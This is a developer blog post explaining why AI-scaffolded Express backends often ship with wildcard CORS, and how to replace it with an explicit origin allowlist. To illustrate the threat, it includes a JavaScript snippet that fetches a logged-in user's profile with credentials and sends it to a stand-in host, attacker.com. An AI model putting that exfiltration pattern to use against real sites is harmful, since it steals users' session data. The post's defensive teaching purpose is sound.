DEV Community

BusyAgents
BusyAgents

Posted on

Your AI-Generated Backend Has Its CORS Wide Open

TL;DR

  • AI scaffolding tools default to cors({ origin: '*' }) - wildcard CORS that lets any website call your API
  • Combined with cookies or auth headers, this lets malicious sites make authenticated requests on behalf of your users
  • Two lines of config is the fix, but only if you know to look for it

I was setting up a new side project last month using Cursor. The AI scaffolded a clean Express server - TypeScript, middleware organized neatly, validation on the inputs. I copy-pasted it, ran it, everything worked. No CORS errors in the browser.

Then I actually read what it wrote.

import cors from 'cors';
app.use(cors());
Enter fullscreen mode Exit fullscreen mode

No configuration. cors() with no arguments defaults to origin: '*'. Every domain on the internet can make cross-origin requests to this API.

I have seen this in every AI-scaffolded Node backend I have reviewed in the past year. Sometimes it is cors(), sometimes it is cors({ origin: '*' }) written out explicitly. The result is the same.

What Wildcard CORS Actually Allows

CORS controls which origins can make cross-origin requests from browsers. The wildcard * means all of them.

For a public read-only API, that is probably fine. For anything with authentication - cookies, JWT tokens in headers, session IDs - it is not.

Here is a concrete scenario. Your app sets a session cookie on login. A user logs in and stays logged in. Later they visit a different site - malicious or just compromised. That site runs this:

// Any site can run this in a visitor's browser
fetch('https://yourapp.com/api/user/profile', {
  credentials: 'include'  // sends the user's session cookie
})
.then(r => r.json())
.then(data => {
  // exfiltrate to attacker's server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
Enter fullscreen mode Exit fullscreen mode

If your CORS policy allows that origin and the browser includes the session cookie, your API responds as if it is the legitimate user. The attacker gets the data.

Browsers actually block origin: '*' combined with credentials: true - they refuse to send credentials to a wildcard origin. But a misconfigured explicit allowlist with credentials is very much a real attack path, and cors() with no arguments leaves you one config change away from that.

Why AI Keeps Generating This

Every CORS tutorial starts the same way. Developer gets a CORS error. Stack Overflow answer: add app.use(cors()) to your Express server. It works. Tutorial ends.

The "configure it properly for production" step is either missing entirely or buried in a footnote. LLMs trained on this corpus learned that CORS configuration means cors() or origin: '*'. The pattern for explicit production-safe origin lists shows up far less consistently in training data.

Same story as hardcoded secrets and weak crypto. AI learned the "get it working in dev" version of the solution, not the "safe to ship" version.

The Fix

Replace the wildcard with an explicit list of allowed origins.

const allowedOrigins = [
  'https://yourapp.com',
  'https://www.yourapp.com',
];

if (process.env.NODE_ENV === 'development') {
  allowedOrigins.push('http://localhost:3000');
  allowedOrigins.push('http://localhost:5173'); // Vite
}

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no Origin header: curl, Postman, mobile apps, server-to-server
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization'],
}));
Enter fullscreen mode Exit fullscreen mode

The !origin check matters. Server-to-server requests, curl calls, and requests from mobile apps do not send an Origin header. Without that check, you break legitimate non-browser clients.

For APIs that genuinely need to be public - open data endpoints, public SDKs - origin: '*' is fine. Just make sure credentials are not involved and the data really is public.

Quick audit: search your codebase for cors() with no arguments and for origin: '*'. Either one in a backend that handles user sessions is worth a second look.

I have been using SafeWeave to catch this. It flags wildcard CORS in the posture scanner alongside missing rate limiting and CSRF issues. That said, a grep for cors() in your server files takes ten seconds and finds the same thing. The important thing is not letting it reach production, whatever method you use.

Top comments (0)